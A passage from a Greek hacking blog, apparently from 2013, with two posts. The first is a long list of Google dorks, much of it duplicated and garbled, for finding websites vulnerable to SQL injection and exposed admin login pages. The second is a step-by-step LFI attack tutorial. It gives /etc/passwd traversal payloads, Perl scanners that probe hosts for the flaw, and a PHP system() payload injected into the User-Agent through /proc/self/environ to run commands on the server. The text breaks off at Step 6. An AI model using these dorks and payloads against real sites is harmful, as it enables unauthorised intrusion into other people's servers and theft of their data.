!ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!

ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!
**** Σε αυτό το blog μερικά από τα άρθρα είναι αναδημοσιεύσεις από άρθρα του διαδικτύου και άλλα είναι προσωπικά tutorial που αναφέρονται σε διάφορα θέματα. Τα παραπάνω έγιναν για ενημέρωση του κοινού και εμπλουτισμό της εκπαιδευτικής διεύρυνσης. Όλα τα άρθρα είναι για εκπαιδευτικούς και μόνο σκοπούς. Δεν φέρω καμία ευθύνη εάν κάποιος αναγνώστης τα χρησιμοποιήσει κακόβουλα. ****
Εμφάνιση αναρτήσεων με ετικέτα Penetration Testing. Εμφάνιση όλων των αναρτήσεων
Εμφάνιση αναρτήσεων με ετικέτα Penetration Testing. Εμφάνιση όλων των αναρτήσεων

Τετάρτη 1 Μαΐου 2013

Λίστα dorks για sql injection...


Γειά σας... Σε αυτό το tutorial θα σας παρουσιάσω μερικά dorks τα οποία μπορούμε να τα βάλουμε στο google και να κάνουμε αναζήτηση για ευπαθείς σελίδες στην sql injection.

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=d=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?av
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurlreview.php?id=
inurl:loadpsb.php?id=
inurlpinions.php?id=
inurl:spr.php?id=
inurlages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurlarticipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurlrod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurlerson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurlrofile_view.php?id=
inurl:category.php?id=
inurlublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurlrod_info.php?id=
inurl:shop.php?do=part&id=
inurlroductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurlroduit.php?id=
inurlop.php?id=
inurl:shopping.php?id=
inurlroductdetail.php?id=
inurlost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurlage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurlroduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:tran******.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl: info.php?id=
inurl : pro.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurlreview.php?id=
inurl:loadpsb.php?id=
inurlpinions.php?id=
inurl:spr.php?id=
inurlages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurlarticipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurlrod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurlerson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurlrofile_view.php?id=
inurl:category.php?id=
inurlublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurlrod_info.php?id=
inurl:shop.php?do=part&id=
inurlroductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurlroduit.php?id=
inurlop.php?id=
inurl:shopping.php?id=
inurlroductdetail.php?id=
inurlost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurlage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurlroduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:tran******.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:shop+php?id+site:fr
"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
inurl:index.php?id=
inurl:trainers.php?id=
inurl:login.asp
index of:/admin/login.asp
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:produit.php?id=+site:fr
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurlreview.php?id=
inurl:loadpsb.php?id=
inurlpinions.php?id=
inurl:spr.php?id=
inurlages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurlarticipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurlrod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurlerson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurlrofile_view.php?id=
inurl:category.php?id=
inurlublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurlrod_info.php?id=
inurl:shop.php?do=part&id=
inurlroductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurlroduit.php?id=
inurlop.php?id=
inurl:shopping.php?id=
inurlroductdetail.php?id=
inurlost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurlage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurlroduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

Κυριακή 21 Απριλίου 2013

LFI (Local File Inclusion)...

Γειά σας, μετά από αρκετό καιρό απουσίας γυρίσαμε και πάλι με νέα tutorials και δημοσιεύσεις. Σε αυτό το tutorial θα αναλύσουμε ένα τρόπο επίθεσης εξίσου σημαντικό για την κατάληψη ενός server. Ο τρόπος αυτό είναι παρόμοιος με την επίθεση RFI που είχαμε προαναφέρει σε παλιότερο άρθρο. Η εισαγωγή που θα κάνω για να ξεκινήσω αυτό τον τύπο επίθεσης είναι ένα πολύ σύντομο και παλιό ρητό... "Τα μεγάλα κάστρα πέφτουν από μέσα"...
Σύμφωνα με προηγούμενο άρθρο η επίθεση RFI (Remote File Inclusion) είναι ένας τύπος επίθεσης σε server όπου δηλαδή, κάποιος επιτιθέμενος μπορεί να εκτελεί κώδικα σε ένα απομακρυσμένο site μέσω ενός .php /.asp shell που “φιλοξενείται” σε δικό του server. Διαβάζοντας τον τίτλο LFI (Local File Inclusion) θα μπορούσε να πει κανείς ότι η επίθεση αυτή είναι ίδια σχεδόν με την RFI με την μόνη διαφορά ότι η επίθεση Local File Inclusion εμφανίζει αρχεία μέσα απ’ τα τον server.
Αν είχαμε ένα site που είχε πρόβλημα με τις επιθέσεις RFI η επίθεση θα γινόταν έτσι:

Ενώ ένα site ευπαθές σε LFI επιθέσεις, θα έχει την εξής σύνταξη:

http://www.site.com/index.php?page=../../../../../../../etc/passwd

Ας δούμε τι είναι μια επίθεση τύπου LFI και που οφείλετε μια τέτοια αδυναμία. Όλα αρχίζουν και τελειώνουν εδώ για τον απρόσεχτο προγραμματιστή!

<?php
$page = $_GET[page];
include ($page);
?>

Όπως μπορεί να καταλάβει ο καθένας (ή περίπου ο καθένας), αυτό είναι ένα ευπαθές κομμάτι PHP κώδικα που δεν πρέπει ΠΟΤΕ να χρησιμοποιηθεί κατά τη δημιουργία μια σελίδας. Το include() δεν ελέγχετε πουθενά και αφήνει τα δεδομένα να “περνούν” στο site χωρίς πρώτα, να φιλτραριστούν με κάποιο τρόπο!
Mια ενδιαφέρουσα ανακάλυψη -μέσω του LFI- θα ήταν το αρχείο /etc/passwd/ αφού, μέσω της επίθεσης LFI μπορούμε να διαβάσουμε αρχεία μεσα απ’ το server. Αν στη σελίδα index.php?page=news.php αντικαταστήσουμε το “news.php” με “../../../../../../../../../etc/passwd“, θα έχουμε στα χέρια μας το αρχείο “/etc/passwd/“.

Προσοχή: Μιλάμε πάντα για ένα site το οποίο είναι ευπαθές σε επίθεση LFI! Βέβαια και αυτά τα στοιχεία να πάρουμε μπορούν να χαρακτηριστούν ως άχρηστα αφού είναι κωδικοποιημένα (με x) και ο μόνος τρόπος να τα σπάσουμε είναι να αποκτήσουμε πρόσβαση στο directory “/etc/shadow” το οποίο ΠΟΤΕ δεν είναι προσβάσιμο για το ευρύ “κοινό” αφού είναι only Readable / Writeable απ’ τον root.
Κάπως έτσι άδοξα λοιπόν, θα τέλειωνε η ‘καριέρα’ ενός skript kiddie (αφού πρώτα είχε κάνει φιγούρα σε γνωστούς, φίλους, ξαδέρφια και μακρινούς συγγενείς!!). Άρα, αν φτάσουμε μέχρι εδώ και το παρατήσουμε, θα συμφωνήσω ΑΠΟΛΥΤΑ με τους επικριτές του LFI, ότι αποτελεί μια άχρηστη τεχνική.
Τι θα γινόταν αν συνδικαζόταν κάπως αλλιώς;
Τα βήματα που ακολουθούν είναι και τα ρεαλιστικά βήματα που θα ακολουθούσε κάποιος κακόβουλος hacker ώστε να πάρει την πλήρη έλεγχο ενός site.

Το Χρονικό μιας επίθεσης.

Βήμα 1


Όπως όλοι μας γνωρίζουμε, ένα απ’ τα πιο δυνατά εργαλεία στα χέρια των hackers είναι η μηχανή αναζήτησης Google αφού ουσιαστικά τους λύνει τα χέρια με μερικές πληκτρολογήσεις (το μόνο που θέλει είναι εξοικείωση πάνω στον τρόπο που θέτουμε τα ζητούμενα.Ας επιστρέψουμε στο θέμα μας, το οποίο είναι το LFI και πως θα μπορούσε κάποιος να βρει vulnerable (σε  LFI) site μέσω του google.

Γράφοντας:

inurl:index.php?page=

ή

inurl:main.php?pg=
…και τα λοιπά…
Φυσικά μπορούμε να αλλάξουμε τα δεδομένα που έχουμε θέσει προς αναζήτηση… ανάλογα με τις απαιτήσεις και τις ανάγκες μας.

Βήμα 2

Αφού βρει κάποιος ένα site το οποίο είναι ευάλωτο σε επιθέσεις LFI σίγουρα διαπίστωσε ότι το συγκεκριμένο κενό ασφαλείας δίνει την δυνατότητα να ανάγνωσης του αρχείου “/etc/passwd”. Σειρά σε κάθε επίθεση έχει η εύρεση ή η δημιουργία ενός προγράμματος αυτοματοποιημένης εκμετάλλευσης του κενού ασφαλείας που βρήκαμε. Στην περίπτωση μας θα γράψουμε μόνοι μας όλα τα προγράμματα που θα χρησιμοποιήσουμε μιας και δημιουργώντας τα προγράμματα που χειριζόμαστε κατανοούμε καλύτερα το κενό ασφάλειας που εκμεταλλευτήκαμε.

01#!/usr/bin/perl
02
03use LWP::UserAgent;
04use HTTP::Request;
05
06print "\n(c) totalXaker magazine \n";
07print "LocalFI Directory scanner [mr.pr0n]\n";
08# Eisagwgh twn dedomenwn
09print "Host: ";
10print "[Ex: www.xxx.org ]:";
11chop ($host = );
12$host = "http://".$host if ($host !~ /^http:/);
13print "Enter path:";
14print "[Ex: xxx.php?xxx= ]:";
15chop ($path = );
16{
17        $ext="../../../../../../../../../../../../../../etc/passwd";
18        $lfi=$host."/".$path.$ext;
19        print "$lfi\n\n";
20        $useragent = LWP::UserAgent->new;
21        $request=HTTP::Request->new(GET=>$lfi);
22        $scnpg = $useragent->request($request)->as_string;
23        # Elegxos gia thn le3ei pou periexei ta grammata root
24        if ($scnpg=~/root/)
25        {
26                print "Woow ",$host," is Vulnerable!\n";
27        }
28        else
29        {
30                print "PFF.. ",$host," is NOT Vulnerable!\n";
31        }
32}

Ασ’ πούμε λίγα λόγια για τον παραπάνω κώδικα! Το scriptaki όπως μπορούμε να διαπιστώσουμε, δεν κάνει κάτι το ιδιαίτερο απλά μας βγάζει απ’ τον κόπο της χειρωνακτικής εκτέλεσης του LFI test για το αν το συγκεκριμένο site (που έχουμε βάλει στο μάτι) έχει πρόβλημα τύπου LFI η όχι και συγκεκριμένα αν έχει προσβάσιμο προς το κοινό το “/etc/passwd”.Όταν βρει το /etc/passwd (αν υπάρχει!) θα ψάξει τα περιεχόμενα της σελίδας για να βρει τη λεξη root

if ($scnpg=~/root/)


Ο λόγος που βάλαμε τη λέξη root είναι απλός και σίγουρα κατανοητός. Κάθε “/etc/passwd” που σέβεται τον εαυτό του αναφέρει στην αρχή του την λέξη root. Φυσικά μπορείτε το root να το αντικαταστήσετε με home ή να το προσθέσετε και αυτό στο scannarisma για μεγαλύτερη αξιοπιστία στο αποτέλεσμα. Σε περίπτωση που μας εμφανίσει το μήνυμα “Woow http://www.site.com is Vulnerable“, τότε είμαστε σε καλό δρόμο αλλιώς. Άλλη μια παράμετρος η οποία θα μπορούσε να προστεθεί στο scanneraki μας για έλεγχο είναι το Nullbyte ():

http://www.site.com/index.php?file=../../../../../../../../ etc/passwd


Έχουν υπάρξει φορές που ενώ ζητάμε από ένα site να μας εμφανήσει το αρχείο “/etc/passwd”, εκείνο είτε δεν μας το εμφανίζει, είτε μας εμφανίζει μηνύματα λάθους όπως στο παράδειγμα :

Warning: main(/etc/passwd.inc): failed to open stream: No such file or directoryectory in /var/www/htdocs/index1.php on line 199
Warning: main(): Failed opening '/etc/passwd.inc' for inclusion (include_path='.:/usr/lib/php') in /var/www/htdocs/index1.php on line 199


Ενώ, όταν βάλουμε /etc/passwd μας εμφανίζει κανονικά /etc/passwd. Η μέθοδος αυτή λέγετε αλλιώς και Null poison attack. Κάτι τέτοιο είναι πολύ εύκολο να προστεθεί στον κώδικα μας, απλά προσθέτοντας μερικές γραμμές ακόμα. Μετά την γραμμή 29 μπορούμε να προσθέσουμε τον παρακάτω κώδικα.

Null poison Attack Code:

01print "Tryin' to LFI with NullByte ()\n";
02{
03$ext2="../../../../../../../../../../../../../../etc/passwd";
04$byte=$host."/".$path.$ext2;
05print "$byte\n\n";
06$useragent = LWP::UserAgent->new;
07$request=HTTP::Request->new(GET=>$byte);
08$scnpg = $useragent->request($request)->as_string;
09if ($scnpg=~/root/)
10{
11        print "Woow ",$host," is Vulnerable with !\n";
12}
13else
14{
15        print "PFF.. ",$host," is NOT Vulnerable AGAIN!!\n";
16}
17
18}

Στην Εικόνα βλέπουμε ένα site που με ευκολία μας δείχνει όλα του τα “ευαίσθητα” προσωπικά δεδομένα “/etc/passwd”. Καλό σημάδι για έναν εισβολέα..Κακό για τον admininstrator.

Βήμα 3ο

Στα προηγούμενα δύο βήματα ανακαλύψαμε ένα site το οποίο έχει πρόβλημα στο πως δέχεται τα δεδομένα, και αβίαστα εμφανίζει αρχεία μέσα που σε καμία περίπτωση δε θα έπρεπε να βλέπαμε. Το directory που θα χρησιμοποιήσουμε για τα παραδείγματα μας στη συνέχεια του άρθρου, δέν θα είναι το “/etc/passwd” αλλά το “/proc/self/environ/“.
Στην περίπτωση που θέλουμε να αυτοματοποιήσουμε την συγκεκριμένη διαδικασία -δηλαδή να ψάχνει για το directory “proc/self/environ”- απλα αλλάζουμε το directory που scannάραμε στο προηγούμενο βημα καθώς επίσης και το if ($scnpg=~/root/) σε if ($scnpg=~/HTTP_USER_AGENT/) και είμαστε έτοιμοι ;)
Βλέπουμε στα στοιχειά που περιέχει το “/proc/self/environ/” αναφέρει και τα στοιχεία του User Agent μας.

Mozilla/5.0 (X11; U; Linux i686; el-GR; rv:1.9.0.3) Gecko/2008092510 Iceweasel/3.0.1 (Debian-4.0.1-2)

Εδώ βλέπουμε μερικά στοιχεία που μας αποκαλύπτει το /proc/self/environ/.Στο οποίο θα προσπαθήσουμε να πάρουμε πρόσβαση.. Τώρα το πως, αποτελεί ένα αίνιγμα που θα ξετυλιχτεί λίγο-λίγο μπροστά στα μάτια σας.
Μας ήρθε μια σατανική ιδέα! Αφού δείχνει τα στοιχεία του User Agent μας σαν στοιχεία του site, θα δοκιμάσουμε, να αλλάξουμε τα στοιχεία αυτά με μια εντολή που μας δίνει για παράδειγμα τη λίστα όλων των περιεχομένων του κατάλογου όπου βρισκόμαστε! Στο linux είναι η εντολή ls.
Για να υλοποιήσουμε την σατανική μας ιδέα θα χρειαστούμε το Extension για τον FireFox με το όνομα Tamper Data.
Το tamper data εν δράση!

Βήμα 4ο

Αφού εγκατασταθεί το extencion Tamper Data το βάζουμε σε λειτουργία
Το ανοίγουμε το site μας πάμε στην καρτέλα του Tamper Data, πατάμε start Tamper Data και κάνουμε refresh το site. Οταν μας εμφανιστεί αυτό που βλέπουμε στην εικόνα 3 πατάμε “tamper” και θα μας βγάλει στο το menu το οποίο φαίνεται στην εικόνα 4 και αλλάζουμε τα στοιχεία του User Agent με την εντολη ls -la, αλλά όχι έτσι απλά. H ολοκληρωμένη μορφή της εντολής θα πρέπει να είναι η ακόλουθη:

1<? system("ls -la");?>
Αλλάζουμε τα στοιχεία του User Agent στο συγκεκριμένο πεδίο με την εντολή. Αν όλα πάνε καλά μας περιμένει μια έκπληξη.
Ο λόγος που γράφουμε έτσι την εντολή είναι απλός. Προσπαθούμε να κοροϊδέψουμε το site ώστε να πιστέψει ότι και η εντολή μας είναι μέρος του κώδικα!

Βήμα 5ο

Αφού ακολουθήσαμε πιστά τις οδηγίες του όρθρου, κάνουμε refresh! Και…boom! ΟΛΑ τα δεδομένα του συγκεκριμένου καταλόγου.

Όλα τα αρχεία που εμπεριέχονται στον συγκεκριμένο κατάλογο.. είναι ορατά σε έναν όχι και τόσο εξουσιοδοτημένο χρήστη!

Αν δεν καταλαβαίνετε τη λέει η λίστα, μπορείτε και κοιτάξετε τον πηγαίο κώδικα της σελίδας και αυτό που θα δείτε θα είναι κάπως …ετσι...

Μια πιο εύκολα αναγνώσιμη μορφή των δεδομένων της σελίδας!!

Βήμα 6ο

